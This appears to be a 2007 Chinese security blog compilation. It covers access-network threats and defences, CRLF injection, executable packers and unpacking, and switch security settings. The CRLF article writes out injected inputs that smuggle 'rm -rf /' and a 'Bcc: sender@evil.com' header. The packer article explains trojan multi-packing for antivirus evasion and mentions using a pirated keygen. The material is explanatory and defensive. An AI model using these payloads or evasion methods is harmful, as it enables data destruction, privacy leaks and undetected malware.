(2)非法協議報文。從理論上分析，互聯網組管理協議(IGMP)上行方向不可能有詢問(Query)報文，下行方向不可能有報告/離開/加入 (Report/Leave/Join)報文；DHCP協議上行不可能出現提供/确認(OFFER/ACK)報文，下行不可能出現發現/請求 (DISCOVER/REQUEST)報文；PPPoE協議上行不會有PADO和PADS報文，下行不會有PADI和PADR報文。根據需要，對這些報文都要攔截過濾。

3)超長報文、超短報文或者校驗錯報文，如低于64字節的報文或者大于1 518字節的報文。特定情況下，超長報文是允許的。
對于非法報文，一般的技術是使用過濾器來過濾丢棄這些報文。過濾器的基本原理是，根據用戶定義的被過濾數據報文的特征，匹配數據報文。如果符合預定義的特征，那麽過濾掉該報文。當前的交換芯片大都具備報文特征提取和匹配功能，可以完成數據鏈路層、網絡層甚至更高層數據報文特征信息的提取和匹配。
過量報文類型一般分成以下幾類：
過量的協議報文
過量的廣播報文
過量的組播報文
過量不同源MAC地址的報文
前面3種過量報文會大量吞噬設備處理資源，第4種會占用交換芯片有限的MAC地址表資源，都需要進行控制。
前3種過量報文的處理步驟爲：匹配特定類型的報文，特征是：特定的協議報文、廣播報文(或者某種更具體特征的廣播報文)、組播報文(或者某種更具體特征的組播報文)；統計此類報文的發送速率；如果發送速率超過預定義的速率，抛棄報文。
處理過量協議、廣播和組播報文的技術又被稱爲報文抑制。
解決過量源MAC地址問題比較簡單：可設定用戶側端口MAC地址個數的上限。這樣，一旦端口達到預定義的MAC地址個數，後續帶有新MAC地址的報文一律被丢棄。
非法報文和過量報文的處理在接入網絡的各個層次都需要處理，但是對于接入節點，因爲其在接入網中的位置，上述功能的實現尤其顯得重要。

4.MAC/IP地址欺騙
MAC/IP地址欺騙是非常嚴重的安全威脅。
MAC地址欺騙的本質是會出現MAC地址重複，造成交換芯片MAC地址學習遷移，部分用戶無法上網。MAC地址欺騙可以分成下面兩種類型：
(1)用戶的MAC地址欺騙。
(2)上遊網絡業務服務器(如BRAS、DHCP服務器/中繼、默認網關等)的MAC地址欺騙。

因爲以太網自身的特點，MAC地址信息都是公開的，通過掃描工具，用戶可以較容易地獲取其他用戶的MAC地址信息。如果相同的MAC地址出現在設備的不同用戶端口上，就會造成MAC地址學習發生紊亂，導緻用戶無法上網。

爲了增強安全性，在接入網絡，一般要求在接入節點處實現用戶端口隔離：在同一個VLAN下的用戶之間相互不能通信，而隻能和上行彙聚端口互通。用戶端口隔離可以通過私有虛拟局域網(PVLAN)技術來實現。

不是所有的交換芯片都支持PVLAN的功能，即使支持PVLAN的功能，也有可能因爲設備MAC地址設置不當造成MAC地址重複問題，或者用戶通過其他渠道獲得其他用戶的MAC(比如“暴力”MAC嘗試。PVLAN技術本身不足以完全解決用戶側MAC地址欺騙問題。解決用戶側MAC地址欺騙，有如下解決方法：

(1)VMAC 在接入節點處，在上行方向，給每個<物理端口，MAC>分配或者生成一個獨一無二的VMAC地址。被解釋以後的MAC地址因爲是設備自己産生的，因此是可信的，而且确保不會出現用戶側MAC地址重複的現象。使用VMAC地址代替報文的源MAC地址。下行方向，根據VMAC查找到對應的原始的 MAC地址，然後使用原始MAC地址代替VMAC地址。VMAC不僅僅可用來防止用戶MAC地址欺騙，還可防止對業務服務器MAC地址的欺騙，并且也可以用于用戶端口識别。缺點是影響與MAC地址相關的協議，處理複雜。

(2)MAC地址綁定。将MAC地址靜态綁定到用戶端口，如果數據報文的源MAC地址和綁定的MAC地址不同，則地址被丢棄。此方法雖簡單，但是可用性差。用戶自組網絡的MAC地址千差萬别，而且個數也不确定，如果采用靜态綁定，很難管理。

(3)基于PPPoE會話(Session)感知的數據報文轉發，應用于PPPoE接入環境。每個用戶都對應唯一的PPPoE會話标識 (SessionID)。可以在接入節點上記錄一張表，上行直接彙聚，下行可以查看該表來進行數據轉發。這樣，數據報文的轉發完全可以不使用MAC地址，也就不需要學習，從而也就不存在MAC地址重複問題。

(4)基于IP感知的數據報文轉發。應用于IPoE的接入環境。在接入節點上，建立一張表，因爲IP是唯一的，所以不會存在IP重複的現象，數據報文下行轉發沒有問題。和基于PPPoE Session的數據報文轉發一樣，接入節點上也不需要MAC地址學習。

上述3、4兩種處理方法對接入節點歸屬的VLAN有一定的要求。如果一個接入節點屬于一個唯一的VLAN，那麽隻要接入節點按照上述要求轉發數據報文即可。如果多個接入節點屬于一個VLAN，那麽需要保證彙聚這些接入節點的交換機也要按照上述的要求轉發下行數據報文。利用PPPoE Session或者IP感知的方式和傳統的二層交換機的轉發機制有質的不同，一般的交換芯片難以實現，而且隻解決特定類型接入的MAC地址重複問題。優點是不用修改數據報文，不會影響其他協議。

業務服務器的MAC地址欺騙将會使得網絡設備的業務服務器MAC地址學習發生遷移，從而造成設備下的部分用戶無法上網。業務服務器MAC地址防欺騙可以使用下面的技術來解決：

(1)VMAC
使用VMAC可以解決各種接入環境下的業務服務器MAC欺騙。

(2)業務服務器MAC地址靜态配置
手動将業務服務器的MAC配置到接入節點交換芯片的靜态MAC地址表上，這樣業務服務器MAC地址學習就不會發生遷移。這個方法雖然簡單，但靈活性和擴充性都很差。

(3)業務服務器MAC地址自動配置
這是本文提出的一種解決業務服務器MAC地址欺騙的方法。基本思想是，讓接入節點充當PPPoE或者DHCP客戶端，定期發起PPPoE或者DHCP請求，這樣就可以動态地獲取BRAS和DHCP服務器/中繼的MAC地址。其優點非常明顯：可利用現有協議，不用手動配置，不修改數據報文，不影響其他協議。

IP欺騙存在于IPoE接入場景下，冒用他人IP地址，盜取服務，或者沒有通過DHCP獲得配置信息的情況下接入網絡，妨礙了運營商的統一管理。解決這個問題需要在接入節點上實現“DHCP IP源警衛”，監聽來往于用戶和DHCP服務器/中繼的協議報文，在用戶沒有獲取配置信息以前，除了DHCP協議報文，其他上行報文統統抛棄。一旦監聽到 DHCP ACK報文，就綁定<分配的IP，用戶MAC>到用戶端口，使能上行數據報文的發送，同時保證上行數據報文的和綁定的<分配的IP，用戶MAC>一緻。在DHCP租用到期後，取消這種捆綁，并停止上行非DHCP協議報文發送。

5.非法業務
經過多年的接入網絡建設，對于運營商而言，接入帶寬已經不是主要的問題。當務之急，一是在現有網絡的基礎上，提供盡可能多的業務，改變目前僅靠接入和帶寬盈利的模式，改變粗放式的經營路線；另一個就是控制目前在已有網絡中存在的非法業務。

所謂的非法業務是從運營商的角度來判定的一些目前網絡上存在的部分數據服務。非法業務形式多種多樣，下面僅是其中幾例：
(1)P2P流下載。P2P流下載能大量吞噬寶貴的網絡帶寬，影響用戶上網。
(2)VoIP。VoIP分流運營商已有的公共交換電話網(PSTN)業務，可能嚴重損害其業務收益。
(3)用戶側私拉亂接。寬帶用戶以個人的身份申請業務，但給企業或黑網吧使用，或與其他家庭共用寬帶，從而損害運營商的業務收益。

不同于前面幾節的安全問題，非法業務具有非常複雜的業務特征，不可能通過簡單的特征提取方法來判定某數據報文是否屬于非法業務的報文。爲了檢測出某條數據流是否是非法業務，需要對數據流進行深度智能分析，依據預定義的特征信息庫，對數據流匹配才能判定。

用戶私拉亂接現象一般發生在用戶使用具有網絡地址轉換(NAT)功能的設備和接入節點對接情況下，上行數據報文從表面看起來好像從一個用戶發出的一樣。解決這個問題需要收集各種“蛛絲馬迹”：分析傳輸控制協議(TCP)連接數量、網絡流量、源TCP端口範圍，這些信息有一定的參考價值；分析MSN、 Windows Update能攜帶的一些用戶特定信息；用戶上行數據流中，如OS版本、IE版本、用戶的行爲習慣等有用的用戶信息。往往需要結合部分或者全部特征，作出綜合判斷，減少誤判和漏判。

非法VoIP檢測起來具有很大的難度，VoIP軟件數量衆多。爲了穿越防火牆或者NAT，防止被檢測，有些VoIP軟件甚至在特殊端口上啓動私有隧道來承載VoIP相關數據。需要對數據報協議/傳輸控制協議(UDP/TCP)所有的數據流進行監控，利用VoIP注冊、呼叫、準入等特征來分析數據流。

P2P流容易監控，因爲流行的P2P軟件數量有限，這些軟件所發出的數據報文的特征相對容易定義。

非法業務的檢測可以在接入網絡的各個層次進行。檢測點越往下遊偏移，“分布式處理”的特征越強烈，容易在性能上得到提升，但是在價格、檢測點協作和管理方面相對于集中式檢測來說稍稍略弱一點。

非法業務的檢測技術上具有智能化的趨勢。但是回報較高，因爲可以爲運營商創造更高的附加值。随着未來各種業務在寬帶接入網絡的興起，非法業務檢測将大有用武之地，代表着接入網絡安全研究的一個重要方向。

6.結束語
對于接入網絡的商業應用，安全是一個重要的不容回避的問題，也是一個随着時間動态變化的課題。不僅運營商高度重視安全問題，網絡設備提供商對安全問題也異常重視，中興通訊提供的DSLAM和BRAS可以解決上述大部分接入網安全問題

CRLF注入攻擊的原理和其防範措施

2007-08-22T01:47:00.001-07:00

CRLF注入攻擊并沒有像其它類型的攻擊那樣著名。但是，當對有安全漏洞的應用程序實施CRLF注入攻擊時，這種攻擊對于攻擊者同樣有效，并且對用戶造成極大的破壞。讓我們看看這些應用程序攻擊是如何實施的和你能夠采取什麽措施保護你的機構。
CRLF的含義是“carriage return/line feed”，意思就是回車。這是兩個ASCII字符，分别排在第十三和第十位。CR和LF是在計算機終端還是電傳打印機的時候遺留下來的東西。電傳打字機就像普通打字機一樣工作。在每一行的末端，CR命令讓打印頭回到左邊。LF命令讓紙前進一行。雖然使用卷紙的終端時代已經過去了，但是，CR和LF命令依然存在，許多應用程序和網絡協議仍使用這些命令作爲分隔符。

攻擊者在搜索安全漏洞的時候沒有忽略很少使用的CRLF。攻擊者可以通過在一段數據中加入CRLF命令來改變接受這個數據的應用程序處理這個數據的方式，從而執行CFRL注入攻擊。

CRLF攻擊最基本的例子包括向記錄文件中增加僞造的記錄。也就是說，有安全漏洞的應用程序把一個用戶輸入的内容寫到系統記錄文件中。攻擊者可以提供如下輸入内容:

Testing123MYSQL DATABASE ERROR: TABLE CORRUPTION
當系統管理員在早上查看他的紀錄時，他可能會用很多時間排除一個根本就不存在的故障。狡猾的攻擊者在攻擊系統的另一部分時，可以使用這種特洛伊木馬分散管理員的注意力。

想像一下，一個應用程序收到用戶輸入的一個文件名，然後對那個文件執行一個指令，如“ls -a .”。如果這個應用程序存在CRLF安全漏洞，攻擊者就可以輸入這樣的内容:
File.txtrm -rf /
這個有安全漏洞的應用程序就會執行這個命令“ls -a File.txt”，然後再執行這個命令“rm -rf /”。如果這個應用程序是一個根程序，這可能就是它執行的最後一個命令，因爲在根分區的全部文件都被删除了。

考慮使用一種CRFL注入攻擊暴露使用一種基于網絡的匿名電子郵件系統的某個人的電子郵件地址。那個電子郵件系統的工作方式可能是這樣的:電子郵件的發送者用他們的電子郵件地址、信息主題和信息本身填寫一個表格。當這個表格遞交到網絡服務器上的時候，網絡服務器把這個表格轉換爲一個SMTP電子郵件，并且發送給收件人。發送者永遠不會看到收件人的電子郵件地址。這個地址隻有服務器知道。

如果這個應用程序存在CRLF攻擊安全漏洞，電子郵件的發件人可以通過創建下面這樣的一行主題來破壞收件人的匿名性:
Subject: Peekaboo, I see youBcc: sender@evil.com
當有安全漏洞的應用程序得到這個數據的時候，它向這個郵件的文件頭增加一個不需要的行，創建一個發送到發件人郵件地址的這封郵件的盲送副本。在這個副本中，“To:”地址是看不到的，因此把收件人的郵件地址暴露給發送者。

使用良好的編程技術能夠避免包括CRLF攻擊在内的注入攻擊。要使你的應用程序不受CRFL注入攻擊，需要你保持與防禦SQL注入攻擊等其它類型的注入攻擊一樣的警惕性:永遠不要相信輸入的内容!在你控制範圍以外的任何來源的輸入内容都必須要進行檢查，在你的應用程序對數據執行操作之前，任何不符合預期的數據類型的字符都要删除。例如，如果你期待着一個電子郵件主題行，這個數據中的所有的字符都應該是字母、數字和标點符号。如果你的應用程序期待着一個文件名，這個數據中隻能包含合法地在文件名中使用的字符。如果程序員在這兩個例子的情況下簡單地過濾掉CR和LF字符，這個攻擊就失敗了。

用戶輸入是“壞字符”的一個來源。但是，你不要忘記檢查你從來沒有編寫過的其它程序輸入的内容。在許多情況下，攻擊者可以把一個注入攻擊從一個有漏洞的應用程序轉移到一個基本的例行程序中。程序員不會檢查基本的例行程序中的數據，因爲那裏的數據不是直接來自于用戶。你要把任何你不能跟蹤到可信賴的來源的數據都當作被感染的數據。這樣，你就安全了。

病毒加殼技術與脫殼殺毒方法

2007-08-22T01:46:00.005-07:00

殼是什麽？脫殼又是什麽？這是很多經常感到迷惑和經常提出的問題，其實這個問題一點也不幼稚。當你想聽說脫殼這個名詞并試着去了解的時候，說明你已經在各個安全站點很有了一段日子了。下面，我們進入“殼”的世界吧。

一、金蟬脫殼的故事
我先想講個故事吧。那就是金蟬脫殼。金蟬脫殼屬于三十六計中的混戰計。金蟬脫殼的本意是：寒蟬在蛻變時，本體脫離皮殼而走，隻留下蟬蛻還挂在枝頭。此計用于軍事，是指通過僞裝擺脫敵人，撤退或轉移，以實現我方的戰略目标的謀略。穩住對方，撤退或轉移，決不是驚慌失措，消極逃跑，而是保留形式，抽走内容，穩住對方，使自己脫離險境達到己方戰略目标，己方常常可用巧妙分兵轉移的機會出擊另一部分敵人。三國時期，諸葛亮六出祁山，北伐中原，但一直未能成功，終于在第六次北伐時，積勞成疾，在五丈原病死于軍中。維遵照諸葛亮的吩咐，在諸葛亮死後，秘不發喪，對外嚴密封鎖消息。他帶着靈柩，秘密率部撤退。司馬懿派部隊跟蹤追擊蜀軍。姜維命工匠仿諸葛亮摸樣，雕了一個木人，羽扇綸巾，穩坐車中。并派楊儀率領部分人馬大張旗鼓，向魏軍發動進攻。魏軍遠望蜀軍，軍容整齊，旗鼓大張，又見諸葛亮穩坐車中，指揮若定，不知蜀軍又耍什麽花招，不敢輕舉妄動。司馬懿一向知道諸葛亮“詭計多端”，又懷疑此次退兵乃是誘敵之計，于是命令部隊後撤，觀察蜀軍動向。姜維趁司馬懿退兵的大好時機，馬上指揮主力部隊，迅速安全轉移，撤回漢中。等司馬懿得知諸葛亮已死，再進兵追擊，爲時已晚。相信這個故事，大家在大型連續劇《三國演義》裏已經看過了。呵呵，隻是沒有理解得這麽深入罷了！而在黑客入侵技術中，金蟬脫殼則是指：删除系統運行日志攻擊者攻破系統後，常删除系統運行日志，隐藏自己的痕迹...呵呵

二、殼，脫殼，加殼
在自然界中，我想大家對殼這東西應該都不會陌生了，由上述故事，我們也可見一斑。自然界中植物用它來保護種子，動物用它來保護身體等等。同樣，在一些計算機軟件裏也有一段專門負責保護軟件不被非法修改或反編譯的程序。它們一般都是先于程序運行，拿到控制權，然後完成它們保護軟件的任務。就像動植物的殼一般都是在身體外面一樣理所當然（但後來也出現了所謂的“殼中帶籽”的殼）。由于這段程序和自然界的殼在功能上有很多相同的地方，基于命名的規則，大家就把這樣的程序稱爲“殼”了。就像計算機病毒和自然界的病毒一樣，其實都是命名上的方法罷了。從功能上抽象，軟件的殼和自然界中的殼相差無幾。無非是保護、隐蔽殼内的東西。而從技術的角度出發，殼是一段執行于原始程序前的代碼。原始程序的代碼在加殼的過程中可能被壓縮、加密……。當加殼後的文件執行時，殼－這段代碼先于原始程序運行，他把壓縮、加密後的代碼還原成原始程序代碼，然後再把執行權交還給原始代碼。軟件的殼分爲加密殼、壓縮殼、僞裝殼、多層殼等類，目的都是爲了隐藏程序真正的OEP（入口點，防止被破解）。關于“殼”以及相關軟件的發展曆史請參閱吳先生的《一切從“殼”開始》。

（一）殼的概念
作者編好軟件後，編譯成exe可執行文件。 1.有一些版權信息需要保護起來，不想讓别人随便改動，如作者的姓名，即爲了保護軟件不被破解，通常都是采用加殼來進行保護。 2.需要把程序搞的小一點，從而方便使用。于是，需要用到一些軟件，它們能将exe可執行文件壓縮， 3.在黑客界給木馬等軟件加殼脫殼以躲避殺毒軟件。實現上述功能，這些軟件稱爲加殼軟件。

（二）加殼軟件最常見的加殼軟件
ASPACK ，UPX，PEcompact 不常用的加殼軟件WWPACK32；PE-PACK ；PETITE NEOLITE

（三）偵測殼和軟件所用編寫語言的軟件
因爲脫殼之前要查他的殼的類型。
1.偵測殼的軟件fileinfo.exe 簡稱fi.exe（偵測殼的能力極強）。
2.偵測殼和軟件所用編寫語言的軟件language.exe（兩個功能合爲一體，很棒），推薦language2000中文版（專門檢測加殼類型）。
3.軟件常用編寫語言Delphi，VisualBasic（VB）---最難破，VisualC（VC）。

（四）脫殼軟件
軟件加殼是作者寫完軟件後，爲了保護自己的代碼或維護軟件産權等利益所常用到的手段。目前有很多加殼工具，當然有盾，自然就有矛，隻要我們收集全常用脫殼工具，那就不怕他加殼了。軟件脫殼有手動脫和自動脫殼之分，下面我們先介紹自動脫殼，因爲手動脫殼需要運用彙編語言，要跟蹤斷點等，不适合初學者，但我們在後邊将稍作介紹。

加殼一般屬于軟件加密，現在越來越多的軟件經過壓縮處理，給漢化帶來許多不便，軟件漢化愛好者也不得不學習掌握這種技能。現在脫殼一般分手動和自動兩種，手動就是用TRW2000、TR、SOFTICE等調試工具對付，對脫殼者有一定水平要求，涉及到很多彙編語言和軟件調試方面的知識。而自動就是用專門的脫殼工具來脫，最常用某種壓縮軟件都有他人寫的反壓縮工具對應，有些壓縮工具自身能解壓，如UPX；有些不提供這功能，如：ASPACK，就需要UNASPACK對付，好處是簡單，缺點是版本更新了就沒用了。另外脫殼就是用專門的脫殼工具來對付，最流行的是 PROCDUMP v1.62 ，可對付目前各種壓縮軟件的壓縮檔。在這裏介紹的是一些通用的方法和工具，希望對大家有幫助。我們知道文件的加密方式，就可以使用不同的工具、不同的方法進行脫殼。下面是我們常常會碰到的加殼方式及簡單的脫殼措施，供大家參考：脫殼的基本原則就是單步跟蹤，隻能往前，不能往後。脫殼的一般流程是：查殼->尋找OEP->Dump->修複找OEP的一般思路如下：先看殼是加密殼還是壓縮殼，壓縮殼相對來說容易些，一般是沒有異常，找到對應的popad後就能到入口，跳到入口的方式一般爲。我們知道文件被一些壓縮加殼軟件加密，下一步我們就要分析加密軟件的名稱、版本。因爲不同軟件甚至不同版本加的殼，脫殼處理的方法都不相同。

常用脫殼工具：1、文件分析工具（偵測殼的類型）：Fi，GetTyp，peid，pe-scan， 2、OEP入口查找工具：SoftICE，TRW，ollydbg，loader，peid 3、dump工具：IceDump，TRW，PEditor，ProcDump32，LordPE 4、PE文件編輯工具PEditor，ProcDump32，LordPE 5、重建Import Table工具：ImportREC，ReVirgin 6、ASProtect脫殼專用工具：Caspr（ASPr V1.1-V1.2有效），Rad（隻對ASPr V1.1有效），loader，peid（1）Aspack：用的最多，但隻要用UNASPACK或PEDUMP32脫殼就行了（2）ASProtect+aspack：次之，國外的軟件多用它加殼，脫殼時需要用到SOFTICE+ICEDUMP，需要一定的專業知識，但最新版現在暫時沒有辦法。（3）Upx：可以用UPX本身來脫殼，但要注意版本是否一緻，用-D 參數（4）Armadill：可以用SOFTICE+ICEDUMP脫殼，比較煩（5）Dbpe：國内比較好的加密軟件，新版本暫時不能脫，但可以破解（6）NeoLite：可以用自己來脫殼（7）Pcguard：可以用SOFTICE+ICEDUMP+FROGICE來脫殼（8）Pecompat：用SOFTICE配合PEDUMP32來脫殼，但不要專業知識（9）Petite：有一部分的老版本可以用PEDUMP32直接脫殼，新版本脫殼時需要用到SOFTICE+ICEDUMP，需要一定的專業知識（10）WWpack32：和PECOMPACT一樣其實有一部分的老版本可以用PEDUMP32直接脫殼，不過有時候資源無法修改，也就無法漢化，所以最好還是用SOFTICE配合 PEDUMP32脫殼　　我們通常都會使用Procdump32這個通用脫殼軟件，它是一個強大的脫殼軟件，他可以解開絕大部分的加密外殼，還有腳本功能可以使用腳本輕松解開特定外殼的加密文件。另外很多時候我們要用到exe可執行文件編輯軟件ultraedit。我們可以下載它的漢化注冊版本，它的注冊機可從網上搜到。ultraedit打開一個中文軟件，若加殼，許多漢字不能被認出 ultraedit打開一個中文軟件，若未加殼或已經脫殼，許多漢字能被認出 ultraedit可用來檢驗殼是否脫掉，以後它的用處還很多，請熟練掌握例如，可用它的替換功能替換作者的姓名爲你的姓名注意字節必須相等，兩個漢字替兩個，三個替三個，不足處在ultraedit編輯器左邊用00補。

常見的殼脫法：
（一）aspack殼脫殼可用unaspack或caspr 1.unaspack ，使用方法類似lanuage，傻瓜式軟件，運行後選取待脫殼的軟件即可. 缺點：隻能脫aspack早些時候版本的殼，不能脫高版本的殼 2.caspr第一種：待脫殼的軟件（如aa.exe）和caspr.exe位于同一目錄下，執行windows起始菜單的運行，鍵入 caspr aa.exe脫殼後的文件爲aa.ex_，删掉原來的aa.exe，将aa.ex_改名爲aa.exe即可。使用方法類似fi 優點：可以脫aspack任何版本的殼，脫殼能力極強缺點：Dos界面。第二種：将aa.exe的圖标拖到caspr.exe的圖标上***若已偵測出是 aspack殼，用unaspack脫殼出錯，說明是aspack高版本的殼，用caspr脫即可。
（二）upx殼脫殼可用upx待脫殼的軟件（如aa.exe）和upx.exe位于同一目錄下，執行windows起始菜單的運行，鍵入upx -d aa.exe。
（三）PEcompact殼脫殼用unpecompact 使用方法類似lanuage傻瓜式軟件，運行後選取待脫殼的軟件即可。
（四）procdump 萬能脫殼但不精，一般不要用使用方法：運行後，先指定殼的名稱，再選定欲脫殼軟件，确定即可脫殼後的文件大于原文件由于脫殼軟件很成熟，手動脫殼一般用不到。

三、壓縮與脫殼
現在脫殼一般分手動和自動兩種，手動就是用TRW2000、TR、SOFTICE等調試工具對付，對脫殼者有一定水平要求。而自動就稍好些，用專門的脫殼工具來脫，最常用某種壓縮軟件都有他人寫的反壓縮工具對應，有些壓縮工具自身能解壓，如UPX；有些不提供這功能，如：ASPACK，就需要UNASPACK對付。很多文件使用了一些壓縮加殼軟件加密過，這就需要對文件進行解壓脫殼處理後，才能漢化。這種壓縮與我們平時接觸的壓縮工具如winzip，winrar等壓縮不同，winzip和winrar等壓縮後的文件不能直接執行，而這種 EXE 壓縮軟件，EXE文件壓縮後，仍可以運行。這種壓縮工具把文件壓縮後，會在文件開頭一部分，加了一段解壓代碼。執行時該文件時，該代碼先執行解壓還原文件，不過這些都是在内存中完成的，由于微機速度快，我們基本感覺不出有什麽不同。這樣的程序很多，如 The bat，Acdsee，Winxfile等等。

要脫殼就應先了解常用壓縮工具有哪些，這樣知己知彼，如今越來越多的軟件商喜歡用壓縮方式發行自己的産品，如 The bat！用UPX壓縮，ACDSEE3.0用ASPACK壓縮等。它有以下因素：一是：微機性能越來越好，執行過程中解壓使人感覺不出來，用戶能接受（給軟件加殼，類似WINZIP 的效果，隻不過這個加殼壓縮之後的文件，可以獨立運行，解壓過程完全隐蔽，都在内存中完成。解壓原理，是加殼工具在文件頭裏加了一段指令，告訴CPU，怎麽才能解壓自己。現在的CPU都很快，所以這個解壓過程你看不出什麽異常。因爲軟件一下子就打開了，隻有你機器配置非常差，才會感覺到不加殼和加殼後的軟件運行速度的差别。）。　二是：壓縮後軟件體積縮小，便于網絡傳輸。三是：增加破解的難度。首先，加殼軟件不同于一般的winzip，winrar等壓縮軟件.它是壓縮exe可執行文件的，壓縮後的文件可以直接運行.而winzip，winrar等壓縮軟件可壓縮任何文件，但壓縮後不能直接運行。很多站點不允許上傳可執行文件，而隻能上傳壓縮的文件，一方面處于速度考慮，也是爲了安全性考慮。用加殼軟件壓縮的文件就是體積縮小，别的性質沒改變。還是EXE 文件，仍可執行，隻是運行過程和以前不一樣了。壓縮工具把文件壓縮後，在文件開頭一部分，加了一段解壓代碼。執行時該文件時，該代碼先執行解壓還原文件，不過這些都是在内存中完成的，由于微機速度快，我們基本感覺不出有什麽不同。

四﹑加殼與木馬
木馬危害無窮，但是随着人們對各種木馬知識的了解，殺毒和專殺工具的特殊照顧，使得很多木馬無藏身之地，但很多高手到處賣馬，号稱不會被查殺。它們究竟是如何躲在我們的系統中的呢？其實無非對木馬進行“加/脫殼”。對于黑客來說，加/脫殼技術被淋漓盡緻地應用到了僞裝木馬客戶端上，目的是爲了防止被殺毒軟件反跟蹤查殺和被跟蹤調試，同時也防止算法程序被别人靜态分析。最基本的隐藏：不可見窗體＋隐藏文件。木馬程序

采用“進程隐藏”技術：第一代進程隐藏技術：Windows 98的後門。第二代進程隐藏技術：進程插入，以及其後的Hook技術之外就是跟殺毒軟件對着幹：反殺毒軟件外殼技術了。木馬再狡猾，可是一旦被殺毒軟件定義了特征碼，在運行前就被攔截了。要躲過殺毒軟件的追殺，很多木馬就被加了殼，相當于給木馬穿了件衣服，這樣殺毒軟件就認不出來了，但有部分殺毒軟件會嘗試對常用殼進行脫殼，然後再查殺（小樣，别以爲穿上件馬夾我就不認識你了）。除了被動的隐藏外，最近還發現了能夠主動和殺毒軟件對着幹的殼，木馬在加了這種殼之後，一旦運行，則外殼先得到程序控制權，由其通過各種手段對系統中安裝的殺毒軟件進行破壞，最後在确認安全（殺毒軟件的保護已被瓦解）後由殼釋放包裹在自己“體内”的木馬體并執行之。對付這種木馬的方法是使用具有脫殼能力的殺毒軟件對系統進行保護。殼能夠将文件（比如EXE）包住，然後在文件被運行時，首先由殼獲得控制權，然後釋放并運行包裹着的文件體。很多殼能對自己包住的文件體進行加密，這樣就可以防止殺毒軟件的查殺。比如原先殺毒軟件定義的該木馬的特征是“12345”，如果發現某文件中含有這個特征，就認爲該文件是木馬，而帶有加密功能的殼則會對文件體進行加密（如：原先的特征是“12345”，加密後變成了“54321”，這樣殺毒軟件當然不能靠文件特征進行檢查了）。脫殼指的就是将文件外邊的殼去除，恢複文件沒有加殼前的狀态。

雖然很多殺毒軟件的文件監控都會使程序首次運行時速度很慢。這是因爲：殺毒軟件對壓縮加殼的exe文件監控掃描時，都要先“脫殼”。一般壓縮加殼程序，可加密壓縮可執行文件的代碼、數據、輸入表、重定位表、資源段。通常壓縮後的文件大小隻有原來的50%-70%，但不影響程序的正常使用和所有功能，目的是保護文件不被跟蹤分析，反彙編，脫殼等。所以有時候使用某軟件給木馬脫殼會失敗，但可換個軟件試下。脫殼後重新加殼或者使用不同加殼的軟件給木馬加多層殼，均有可能欺騙殺毒軟件，但在經過複雜的多重加殼後，檢測出的結果就不一定準确了，此時就需要 “adv.scan”高級掃描， pe-scan會分析出被各種加殼工具加殼的可能性。

五﹑加殼與病毒
病毒要想生存，除了增加自身的變形能力以外，還可與程序加殼壓縮聯系起來。我們先來看看病毒變形的目的，因爲現在的反病毒軟件，基于特征碼檢測，增加變形能力，使得特征碼檢測方法更加困難。那麽，如果再和程序加殼技術結合起來，那麽将使的單單通過添加特征碼方法解毒徹底失效，解毒時，必須同時更新掃描引擎，而現在并沒有通用的解殼方法。因此加殼壓縮和變形結合起來，将使得反病毒廠商手忙腳亂，也使得反病毒軟件用戶痛苦不堪，頻繁的更新，除了特征碼，還有掃描引擎。給平常的病毒加個殼，比如用upx，現在通常反病毒軟件，對于常用的加密加殼壓縮程序，都有相應的解殼程序。效果并不好，所以如果病毒本是既是一好的變形加密加殼壓縮程序，那麽，目的是強迫更新掃描引擎，當然也是可以被動态解壓檢測出來的，隻是增加了解毒的很多工作量。實際上加殼技術不僅僅用于軟件保護，也可用于好的病毒。好的病毒不一定要非常快的傳播速度，難于檢測，難于查殺更重要一些，就像現在殺毒界的虛拟機技術，也不過是個雛形，有很多的功能并不能完全虛拟化，同時若加殼代碼本身可變形，同時有多種加殼算法可供随機選擇，那麽就很難找出其中的規律以及關系。總之，好的殺毒軟件至少應該具有的技術功能之一就是要具備壓縮還原技術：對Pklite、Diet、Exepack、Com2exe、 Lzexe、Cpav等幾百種壓縮加殼軟件自動還原，徹底解除隐藏較深的病毒，避免病毒死灰複燃。

如何讓網路堅不可摧交換機安全六則

2007-08-22T01:46:00.003-07:00

如何過濾用戶通訊，保障安全有效的數據轉發？如何阻擋非法用戶，保障網絡安全應用？如何進行安全網管，及時發現網絡非法用戶、非法行爲及遠程網管信息的安全性呢？這裏我們總結了6 條近期交換機市場上一些流行的安全設置功能，希望對大家有所幫助。

L2-L4 層過濾

現在的新型交換機大都可以通過建立規則的方式來實現各種過濾需求。規則設置有兩種模式，一種是MAC模式，可根據用戶需要依據源MAC或目的MAC有效實現數據的隔離，另一種是IP模式，可以通過源IP、目的IP、協議、源應用端口及目的應用端口過濾數據封包；建立好的規則必須附加到相應的接收或傳送端口上，則當交換機此端口接收或轉發數據時，根據過濾規則來過濾封包，決定是轉發還是丢棄。另外，交換機通過硬件“邏輯與非門”對過濾規則進行邏輯運算，實現過濾規則确定，完全不影響數據轉發速率。

802.1X 基于端口的訪問控制

爲了阻止非法用戶對局域網的接入，保障網絡的安全性，基于端口的訪問控制協議802.1X無論在有線LAN或WLAN中都得到了廣泛應用。例如華碩最新的GigaX2024/2048等新一代交換機産品不僅僅支持802.1X 的Local、RADIUS 驗證方式，而且支持802.1X 的Dynamic VLAN 的接入，即在VLAN和802.1X 的基礎上，持有某用戶賬号的用戶無論在網絡内的何處接入，都會超越原有802.1Q 下基于端口VLAN 的限制，始終接入與此賬号指定的VLAN組内，這一功能不僅爲網絡内的移動用戶對資源的應用提供了靈活便利，同時又保障了網絡資源應用的安全性；另外， GigaX2024/2048 交換機還支持802.1X的Guest VLAN功能，即在802.1X的應用中，如果端口指定了Guest VLAN項，此端口下的接入用戶如果認證失敗或根本無用戶賬号的話，會成爲Guest VLAN 組的成員，可以享用此組内的相應網絡資源，這一種功能同樣可爲網絡應用的某一些群體開放最低限度的資源，并爲整個網絡提供了一個最外圍的接入安全。

流量控制(traffic control)

交換機的流量控制可以預防因爲廣播數據包、組播數據包及因目的地址錯誤的單播數據包數據流量過大造成交換機帶寬的異常負荷，并可提高系統的整體效能，保持網絡安全穩定的運行。

SNMP v3 及SSH

